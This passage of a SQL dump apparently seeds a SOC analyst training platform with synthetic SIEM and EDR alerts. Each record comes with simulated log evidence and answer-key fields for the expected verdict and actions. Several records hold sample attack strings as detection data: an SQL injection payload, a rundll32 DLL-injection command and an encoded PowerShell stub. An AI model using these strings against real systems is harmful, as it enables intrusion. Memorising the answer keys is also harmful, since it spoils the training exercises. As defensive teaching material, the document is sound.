2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"LAPTOP01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.918Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"LAPTOP01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.918Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.3.5\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"bsmith\\\",\\\"hostname\\\":\\\"LAPTOP01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\malicious.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1390, 'Phishing Email with Suspicious URL', 'medium', 'Azure Sentinel', 'A phishing email was detected containing a suspicious URL.', 'Phishing', 'T1566', 0, 'Closed', 225, '{\"timestamp\":\"2026-03-02T12:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.12\",\"email_sender\":\"fake@phishingsite.com\",\"username\":\"jdoe\",\"hostname\":\"MAILSERVER\",\"url\":\"http://suspicious-url.com/login\"}', '2026-03-02 03:09:19', '2026-03-06 10:28:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"fake@phishingsite.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain known for phishing attempts\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://suspicious-url.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"URL associated with phishing domains\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"IP associated with phishing emails\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The phishing email contains a suspicious URL, but no malicious activity confirmed.\"}', 'Novice', 'SIEM', 1, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.12\\\",\\\"email_sender\\\":\\\"fake@phishingsite.com\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"MAILSERVER\\\",\\\"url\\\":\\\"http://suspicious-url.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.12\\\",\\\"email_sender\\\":\\\"fake@phishingsite.com\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"MAILSERVER\\\",\\\"url\\\":\\\"http://suspicious-url.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.12\\\",\\\"email_sender\\\":\\\"fake@phishingsite.com\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"MAILSERVER\\\",\\\"url\\\":\\\"http://suspicious-url.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.12\\\",\\\"email_sender\\\":\\\"fake@phishingsite.com\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"MAILSERVER\\\",\\\"url\\\":\\\"http://suspicious-url.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.920Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.12\\\",\\\"email_sender\\\":\\\"fake@phishingsite.com\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"MAILSERVER\\\",\\\"url\\\":\\\"http://suspicious-url.com/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1391, 'Unusual Network Connection to External IP', 'low', 'Splunk', 'A device attempted to connect to an external IP known for hosting benign services.', 'Network Anomaly', 'T1071', 0, 'Closed', 225, '{\"timestamp\":\"2026-03-02T13:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.10\",\"dst_ip\":\"93.184.216.34\",\"username\":\"psmith\",\"hostname\":\"DESKTOP02\"}', '2026-03-02 03:09:19', '2026-03-09 02:45:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"93.184.216.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"IP associated with benign web services\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.4.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"psmith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Regular user account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"The external IP is associated with benign services, indicating a false positive.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.921Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"psmith\\\",\\\"hostname\\\":\\\"DESKTOP02\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.921Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"psmith\\\",\\\"hostname\\\":\\\"DESKTOP02\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.921Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"psmith\\\",\\\"hostname\\\":\\\"DESKTOP02\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.921Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"psmith\\\",\\\"hostname\\\":\\\"DESKTOP02\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.921Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.4.10\\\",\\\"dst_ip\\\":\\\"93.184.216.34\\\",\\\"username\\\":\\\"psmith\\\",\\\"hostname\\\":\\\"DESKTOP02\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1392, 'SQL Injection Attempt on Internal Web Server', 'high', 'Wazuh', 'An SQL injection attempt was detected targeting the internal web server.', 'Web Attack', 'T1190', 0, 'investigating', 56, '{\"timestamp\":\"2026-03-02T14:10:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.200\",\"dst_ip\":\"192.168.5.20\",\"username\":\"webuser\",\"hostname\":\"WEB-SERVER01\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-03-02 03:09:19', '2026-03-03 15:52:37', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.5.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal web server\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload and external IP confirm a true positive SQL injection attempt.\"}', 'Novice', 'SIEM', 1, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.922Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.5.20\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.922Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.5.20\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.922Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.5.20\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.922Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.5.20\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.922Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.5.20\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1393, 'Suspicious Command Execution on Workstation', 'medium', 'Elastic SIEM', 'A suspicious command was executed on a user workstation, potentially indicating malicious activity.', 'Command Execution', 'T1059', 0, 'Closed', 225, '{\"timestamp\":\"2026-03-02T15:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.6.15\",\"dst_ip\":\"\",\"username\":\"klee\",\"hostname\":\"WORKSTATION03\",\"command_line\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"Write-Host \'Hello World\'\\\"\"}', '2026-03-02 03:09:19', '2026-03-09 02:43:36', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"Write-Host \'Hello World\'\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Common administrative command\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.6.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"klee\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Regular user account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"command_execution\",\"analysis_notes\":\"The command executed is a common administrative task, indicating a false positive.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"klee\\\",\\\"hostname\\\":\\\"WORKSTATION03\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"Write-Host \'Hello World\'\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"klee\\\",\\\"hostname\\\":\\\"WORKSTATION03\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"Write-Host \'Hello World\'\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"klee\\\",\\\"hostname\\\":\\\"WORKSTATION03\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"Write-Host \'Hello World\'\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"klee\\\",\\\"hostname\\\":\\\"WORKSTATION03\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"Write-Host \'Hello World\'\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.924Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"klee\\\",\\\"hostname\\\":\\\"WORKSTATION03\\\",\\\"command_line\\\":\\\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\\\\\"Write-Host \'Hello World\'\\\\\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1394, 'Failed Remote Desktop Login Attempts', 'low', 'Azure Sentinel', 'Multiple failed remote desktop login attempts from an external IP with no known malicious activity.', 'Brute Force', 'T1110', 0, 'investigating', 258, '{\"timestamp\":\"2026-03-02T16:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.67\",\"dst_ip\":\"192.168.7.30\",\"username\":\"administrator\",\"hostname\":\"SERVER02\",\"failed_attempts\":8}', '2026-03-02 03:09:19', '2026-03-06 15:22:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this IP\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.7.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP is not associated with malicious activity, indicating a false positive.\"}', 'Novice', 'SIEM', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.7.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"SERVER02\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-02T13:54:06.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.7.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"SERVER02\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-02T13:53:06.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.7.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"SERVER02\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-02T13:52:06.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.7.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"SERVER02\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-03-02T13:51:06.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:45:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.67\\\",\\\"dst_ip\\\":\\\"192.168.7.30\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"SERVER02\\\",\\\"failed_attempts\\\":8}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1395, 'Ransomware Detected: LockBit 3.0 Process Injection on EHR Server', 'critical', 'CrowdStrike', 'LockBit 3.0 ransomware detected via process injection technique on the Electronic Health Records (EHR) server, targeting sensitive patient data.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T10:12:34Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.50.2\",\"username\":\"ehr_admin\",\"hostname\":\"EHR-SERVER01\",\"command_line\":\"rundll32.exe inject.dll,EntryPoint\"}', '2026-03-02 03:10:27', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 347 times for ransomware activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.50.2\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal EHR server\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"rundll32.exe inject.dll,EntryPoint\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Identified as LockBit 3.0 ransomware process injection\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Confirmed process injection and malicious IP linked to LockBit 3.0 ransomware.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
